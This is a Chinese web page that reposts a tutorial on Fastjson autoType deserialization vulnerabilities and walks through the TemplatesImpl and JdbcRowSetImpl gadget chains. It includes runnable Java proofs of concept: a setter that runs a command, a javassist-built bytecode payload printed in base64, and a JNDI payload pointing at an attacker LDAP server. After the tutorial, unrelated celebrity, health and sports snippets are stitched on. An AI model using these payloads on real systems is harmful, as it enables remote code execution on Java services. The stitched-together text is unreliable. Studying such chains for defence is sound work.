范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

网络安全之反序列化漏洞分析

  简介
  FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过 toJSONString  和parseObject/parse  来实现序列化和反序列化。使用
  对于序列化的方法 toJSONString()  有多个重载形式。
  SerializeFeature  : 通过设置多个特性到FastjsonConfig  中全局使用, 也可以在使用具体方法中指定特性SerializeFilter  : 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化SerializeConfig  : 添加特点类型自定义的序列化配置
  对于反序列化的方法 parseObject()  也同样有多个重载形式。
  【一一帮助安全学习,所有资源关注我,私信回复"资料"获取一一】
  ①网络安全学习路线
  ②20份渗透测试电子书
  ③安全攻防357页笔记
  ④50份安全攻防面试指南
  ⑤安全红队渗透工具包
  ⑥网络安全必备书籍
  ⑦100个漏洞实战案例
  ⑧安全大厂内部视频资源
  ⑨历年CTF夺旗赛题解析 序列化操作
  可以发现这两个的区别,如果使用了toJSONString()的属性值 SerializerFeature.WriteClassName  ,就会在序列化的时候多写入一个@type  后面跟着的是反序列化的类名。反序列化操作package pers.fastjson;  import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;  public class UnSerialTest {     public static void main(String[] args) {         String jsonStringWithType = "{"@type":"pers.fastjson.Student","name":"RoboTerh"}";         String jsonStringWithoutType = "{"name":"RoboTerh"}";          System.out.println("use JSON.parse with type......");         Object o1 = JSON.parse(jsonStringWithType);         System.out.println(o1);         System.out.println("------------------------------------");          System.out.println("use JSON.parse without type....");         Object o2 = JSON.parse(jsonStringWithoutType);         System.out.println(o2);         System.out.println("-------------------------------------");          System.out.println("use JSON.parseObject with type.......");         JSONObject o3 = JSON.parseObject(jsonStringWithType);         System.out.println(o3);         System.out.println("--------------------------------------");          System.out.println("use JSON.parseObject without type.........");         JSONObject o4 = JSON.parseObject(jsonStringWithoutType);         System.out.println(o4);         System.out.println("----------------------------------------");          System.out.println("use JSON.parseObject without type but hava .Class");         Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);         System.out.println(o5);     } }
  可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。
  我们可以发现,在引入了 @type  之后,JSON.parseObject  调用了getter/setter  方法,JSON.parse  调用了setter  方法。
  当然,其他的方式也是可以调用 getter  方法的,但是有条件限制:
  条件一、方法名需要长于4
  条件二、不是静态方法
  条件三、以get字符串开头,且第四个字符需要是大写字母
  条件四、方法不能有参数传
  条件五、继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
  条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
  因为 fastjson  存在autoType  机制, 当用户指定@type  时, 存在调用恶意setter  /getter  的情况, 这就是fastjson  反序列化漏洞。简单的漏洞//Evil.java package pers.fastjson;  import java.io.IOException;  public class Evil {     private String name;      public Evil () {         System.out.println("构造方法");     }     public void setName(String name) throws IOException {         this.name = name;         System.out.println("调用了setName方法");         Runtime.getRuntime().exec("calc");     }     public String getName() {         System.out.println("调用了getName方法");         return name;     } }  //EvilTest.java package pers.fastjson;  import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;  public class EvilTest {     public static void main(String[] args) {         String jsonString = "{"@type":"pers.fastjson.Evil","name":"RoboTerh"}";         JSONObject o = JSON.parseObject(jsonString);         System.out.println(o);     } }
  成功弹出了计算器,
  我们调式分析分析,
  在 JSON.parseObject  处下的断点。
  首先使用了parse()方法进行反序列化操作。
  在 JSON.parse(String text, int features)  创建了DefaultJSONParser  对象。
  在成功创建了该对象之后通过判断 ch  是{ / [  为token赋值,这里是12。
  在 DefaultJSONParser#parse  方法中通过判断token的值,进入创建了一个JSONObject  对象。
  进 parseObject  方法, 这里会通过scanSymbol  获取到@type  指定类, 然后通过TypeUtils.loadClass  方法加载Class  .
  先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到 clazz  的之后进行返回
  创建了 ObjectDeserializer  并且调用了getDeserializer  方法。Templateslmpl利用链
  如果一个类中的 getter  满足调用条件而且存在可利用点,攻击链就产生了。
  在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl  类中就存在一个私有变量_outputProperties  ,他的getter  方法就满足在反序列化的时候的调用条件。分析利用链,
  从漏洞触发点开始 Templateslmpl#getTransletInstance  方法。
  这里通过调用 _class[_transletIndex]  的newInstance()  方法进行实例化操作,我们追踪_class[_transletIndex]  的出处,看看是否可以控制,进行恶意操作。
  值得注意的是,我们想要达到漏洞点,在 getTransletInstance()  方法的两个if语句中,我们需要保证他的_name  这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。
  在第二个语句中就是通过 defineTransletClasses()  方法获得了_class  和_transletIndex  的值,进入它。
  首先判断 _bytecodes  是否为空,这里的_bytecodes  同样是Templateslmpl  类的成员变量,可控
  如果这里不为空的话,就会执行。
  而且这里如果 _tfactory  不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl  类的成员变量,但是他没有对应的setter  ,我们可以通过Feature.SupportNonPublicField  来进行修改。
  接着走,在后面有一个for循环,
  通过 loader.defineClass  修饰之后将_bytecodes[i]  赋值给_class[i]  ,跟进defineClass方法。
  他是 ClassLoader  的defineClass  的重写,作用是将字节码转化为Class,
  转回 defineTransletClasses  ,在if判断语句中,如果它是main class的时候我们就为_transletIndex  赋值。
  现在重新回到 getTranslateInstance()  方法,现在这里的_class[_translateIndex]  就是我们为_bytecodes  赋值的恶意class,我们这里将他给实例化了,成功利用恶意类,
  现在我们可以知道 getTranslateInstance()  是可以执行恶意类的,我们搜索在Templateslmpl  类中什么调用了这个方法的。
  可以发现在 newTransformer()  方法中使用了getTransletInstance()方法。
  继续搜索在哪里调用了newTransformer()方法。
  在 getOutputProperties()  方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。//利用链 getOutputProperties()     newTransformer()     	getTransletInstance()     		defineTransletClasses()     	_class[_transletIndex].newInstance()  POCpackage pers.fastjson;  import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.codec.binary.Base64;  import java.io.IOException;  public class Fj24POC {     public static class RoboTerh {      }     public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {          ClassPool pool = ClassPool.getDefault();         CtClass cc = pool.get(RoboTerh.class.getName());         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";         cc.makeClassInitializer().insertBefore(cmd);         String randomClassName = "RoboTerh" + System.nanoTime();         cc.setName(randomClassName);         cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));         byte[] evilCodes = cc.toBytecode();          return Base64.encodeBase64String(evilCodes);     }      public static String exploitString() throws NotFoundException, CannotCompileException, IOException {         String evilCodeBase64 = makeClasses();         final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";         String exploit = "{"RoboTerh":{" +                 ""@type":"" + NASTY_CLASS + ""," +                 ""_bytecodes":["" + evilCodeBase64 + ""]," +                 ""_name":"RoboTerh"," +                 ""_tfactory":{ }," +                 ""_outputProperties":{ }" +                 "}} ";          return exploit;     }      public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {         String exploit = exploitString();         System.out.println(exploit);         //JSON.parse(exploit, Feature.SupportNonPublicField);         //JSON.parseObject(exploit, Feature.SupportNonPublicField);         JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);     } }
  //payload {"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],"_name":"RoboTerh","_tfactory":{ },"_outputProperties":{ }}}
  条件限制
  需要开启 Feature.SupportNonPublicField  这个特性。JdbcRowSetImpl利用链分析利用链
  JdbcRowSetImpl  类位于com.sun.rowset.JdbcRowSetImpl  中,它本身没有实现Serializeble  接口,但是他是BaseRowSet  类的子类,该类实现了该接口,所以它可以进行序列化。
  链子的核心触发点是 javax.naming.InitialContext#lookup  的参数可控造成的漏洞。
  在 JdbcRowSetImpl#setAutoCommit  中如果this.conn  为空的时候,就会调用this.connect  方法。
  然后在connect方法中就会调用 Javax.naming.InitialContext#lookup  方法,参数是dataSourceName  成员变量。
  //调用链 JdbcRowSetImpl对象     getDataSource     	setAutocommit方法     		context.lookup(datasourcename)  POCpackage pers.fastjson;  import com.alibaba.fastjson.JSON;  public class Fj24_Jdbc_POC {     public static void main(String[] args) {         String payload = "{" +                 ""@type":"com.sun.rowset.JdbcRowSetImpl"," +                 ""dataSourceName":"ldap://127.0.0.1:8888/EvilObject"," +                 ""autoCommit":"true"," +                 "}";         //JSON.parseObject(payload); 成功         //JSON.parse(payload); 成功         JSON.parseObject(payload, Object.class);     } }
  //payload {"RoboTerh":{ 	"@type":"com.sun.rowset.JdbcRowSetImpl", 	"dataSourceName":"ldap://127.0.0.1:8888/evilObject", 	"autoCommit":true }}  条件限制,
  使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。

苏炳添的爱情,感动了谁?用时9。83秒,跑100米。他用了16年的时间才得到了他的初恋,他就是博士亚洲飞人苏!东京奥运会上以9秒83的成绩打破男子100米决赛亚洲纪录,一战夺冠,苏作为唯一进入决赛的黄种人建议男人别太节省,这3种食物要多吃,补肝降压,越吃越健康现代人生活压力大,男人的压力更是不小。作为家里的顶梁柱,很多时候,男人身上的压力是很多人都想象不到的重。在这种忙碌和巨大的压力下,很多疾病悄悄找上了门,这个时候更要多注意饮食。俗话恐惧使你成为囚犯,希望让你重获自由一肖申克的救赎Youknowsomebirdsarenotmeanttobecaged,theirfeathersaejusttobright。你知道,有些鸟儿是注定不会被关在牢笼里的,它们的每曝42岁安以轩再次复出!化浓妆眼神空洞,丈夫或面临20年刑期自从富豪洗米华批捕之后,港媒曝料安以轩老公以及吴佩慈老公均会受到影响,没想到仅过了一个多月之后安以轩的老公陈荣炼就被官方通报抓捕,而罪名和洗米华的如出一辙。丈夫被抓之后作为妻子的安安以轩为老公复出赚钱,浓妆露肩晒自拍,眼神空洞无光,灵气不再安以轩老公被抓,似乎也与洗某华事件有关,曾经安以轩的阔太生活有多令人羡慕,现在的她就有多破灭。以前不用出门工作就可以在上流社会中占据相当重要的地位,现在的安以轩可谓是一落千丈。虽然baby旧照曝光超唯美,眼神清澈笑容甜美,俏皮可爱似初恋近日,有网友在个人的社交平台上分享了一组Angelababy早些年的美照,倾国倾城的容貌和窈窕的身材,也受到了网友们的广泛关注,收获了无数的点赞和留言。画面中的Angelababy47岁林志玲产后首晒照,嘟嘴卖萌像逆龄生长,眼神却没了光林志玲一直都被称为宅男女神,是国内女性美丽的代表,还一直都被当做整容的模板,47岁的林志玲也迎来了家庭上的丰收,和丈夫结婚后生下一名女婴,虽然是高龄产女,但家庭圆满也是很幸福。近期陈红罕见和儿子走机场,大牌包配夹克变强势阔太,儿子眼神犀利女性的美是发自于内心的,随着年龄的增长,经历了时间的沉淀,并不会被岁月打败,反倒是经历了岁月变得越发成熟,有女人味儿。当然关于女性的穿搭风格有很多种可以通过穿搭的方式让个人的气质有三月再见了,四月你好三月再见了,四月你好,希望你在接下来的日子里,所想皆所愿,所行化坦途,一切的美好都向你靠近。三月再见,明天又是新的开始,我们有悲伤,有难过,有过仿徨无助,就像阴雨连绵的天,闷的人透罕见!山东一孕妇身怀四胞胎生产不同天,网友望平安3月31日,山东济南。一孕妇身怀四胞胎,因为宫颈机能不全,住院后进行紧急环扎,目前两个孩子前后间隔四天陆续早产,被送到新生儿科治疗,还有两个在妈妈肚子里继续进行保胎。马玉燕医生称,小沈阳女儿曾被吐槽太丑,如今整容式长大,网友女大十八变小沈阳女儿曾被吐槽太丑,如今整容式长大,颜值逆袭打众人的脸导语几乎所有的父母都希望自己家的孩子能够长得漂亮,若是领孩子走在路上有人夸赞孩子一句,父母们脸上会特别有光。但是孩子的长相
早晨吃一个水煮鸡蛋,一段时间后会发生什么?建议肝不好来看看鸡蛋应该是大家在现实生活中吃得最多的一种蛋类,价格相比较其他的蛋类比较便宜,而且营养价值也非常高,所以受到大多数人的喜爱。不管是上班族还是学生,或者是老年人,在早上都喜欢吃上一个水慢性咳喘总不好,可能还是治疗方法出了问题吧一提到咳嗽,喘,嗓子疼,您会想到什么?您是否会想到消炎药或者是激素呢?也有的朋友可能会说,中医之本啊!可能开点中药,然后大夫开上几天清热化痰的药。对嘛,嗓子疼嘛,有痰嘛,有炎症啊,气滞血瘀老不好?试试血府逐瘀汤刘女士49岁,每到冬天时,总会有手脚冰凉的情况,检查发现是气血瘀滞的原因,医生让用血府逐瘀汤来进行调理。这个血府逐瘀汤有什么作用呢?我们先来了解一下气滞血瘀的表现有哪些?气滞血瘀的NBA总决赛G3凯尔特人VS勇士NBA总决赛G3的比赛将在6月9日早上9点进行。由凯尔特人主场对阵勇士。之前的两场比赛,双方11打成平局。凯尔特人一路磕磕绊绊闯入总决赛,虽然在第一场比赛以12分的优势取得胜利,但2022年NBA总决赛勇士VS绿军G3前瞻2022年总决赛赛程北京时间6月9日上午9点,2022年NBA总决赛第三场比赛G3将移师波土顿,凯尔特人回到自家主场迎战勇士,此前双方大比分战成11。此前两场比赛都是勇士主场,双方祝贺!18岁国乒小将勇夺一冠,日本张本智和接班人没进8强北京时间6月9日凌晨,乒乓球WTT捷克青少年赛结束了所有男单项目的对决,而阔别赛场2个多月的中国队也终于收获了自己回归后的首个冠军在U19(19岁及以下组)的比赛中,18岁小将曾蓓女排蔡斌收获喜讯,两小将入选最佳阵容,世联赛争冠并非空谈2022年世界女排联赛,刚刚结束了第一站比赛的争夺,中国女排出人意料的以3胜1负的战绩,暂列所有参赛球队中的第二位,第二站的比赛,将从6月15日开始在菲律宾开打,对于中国女排而言,总决赛G2数据表明,凯尔特人在第三节放弃了本场比赛本文数据来源标注在图表标题下方,图表和内容均为安安小小姐姐原创,并开启全网保护,转载引用请联系作者。NBA202122赛季总决赛第二场,如部分网友所说,裁判起了关键作用。在上一篇关伟大的20!越南足球再创历史,全队疯狂庆祝,期盼复制18年神迹U23亚洲杯C组的最后一轮比赛不久前落下了帷幕,越南队此番再度创造了历史,他们以20战胜了马来西亚队,从而以1分的优势力压泰国队,顺利挺进了8强。越南媒体也希望他们的球队能够再接再这2条线路,夏天去正好全长约186公里的环太湖1号公路沿线山水风景绝佳文物古迹众多,自然资源丰富是太湖旅游的颜值担当今天就跟随这2条水韵溯源古道文化线路一起打卡环太湖1号公路!01hr第一站来到位于西山夏天到了,癌症患者要注意这五件事夏天到了,气温升高,气候环境发生剧烈变化。此时,保健对癌症患者尤为重要,那么夏季保健有哪些注意事项呢?1。早睡早起俗话说,春困秋乏夏打盹。按照中医的传统观点,人体在夏季消耗大量的气